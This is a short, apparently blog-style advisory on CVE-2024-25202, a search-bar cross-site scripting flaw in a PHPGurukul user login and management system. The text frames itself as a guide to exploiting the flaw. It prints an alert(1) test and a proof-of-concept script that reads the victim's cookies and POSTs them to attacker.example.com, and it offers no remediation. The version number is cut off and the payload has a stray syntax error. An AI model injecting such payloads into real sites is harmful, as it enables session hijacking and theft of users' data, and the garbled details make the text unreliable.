An important security vulnerability, identified as CVE-2024-25202, has been discovered in Phpgurukul's User Registration & Login and User Management System (version 1.). This vulnerability allows attackers to execute malicious code through the application’s search bar. The issue arises from the software not properly validating input data in the search feature, leading to a Cross Site Scripting (XSS) attack vector.

Let's dive deeper into this vulnerability, understand its implications, and discuss how to exploit it. We also provide a code snippet and relevant links to the original references for better insight and understanding.

Vulnerability Details

The XSS vulnerability in the Phpgurukul User Registration & Login and User Management System 1. enables potential attackers to inject and run arbitrary JavaScript code by utilizing the search bar, causing potential harm to users.

Below is the snippet of the potentially malicious JavaScript code that can be injected

<script>alert(1)</script>

By inputting this code into the search bar of a vulnerable Phpgurukul User Registration & Login and User Management System 1., a popup alert will appear. This is only a simple demonstration of the vulnerability. A more advanced attacker could use this vector to steal critical information or redirect users to malicious websites.

Exploiting the Vulnerability

To exploit the vulnerability, an attacker only needs to insert malicious JavaScript code into the search bar of the vulnerable application. Subsequently, the injected code executes in the browser context of the victims. This malicious code can be crafted to steal sensitive user information or perform other unauthorized actions on behalf of the targeted user, potentially causing severe damage.

Let's look at a more extended proof-of-concept (PoC) code snippet that demonstrates the attack

<!-- Place this code snippet in the search bar of the vulnerable application -->
<script>
    document.addEventListener('DOMContentLoaded', function() {
    const stolenData = btoa(document.cookie);
    const xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.example.com/receive_data';, true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('data=' + encodeURIComponent(stolenData));
});
</script>

This malicious code, when injected, steals the user's cookies and sends them to an attacker-controlled domain.
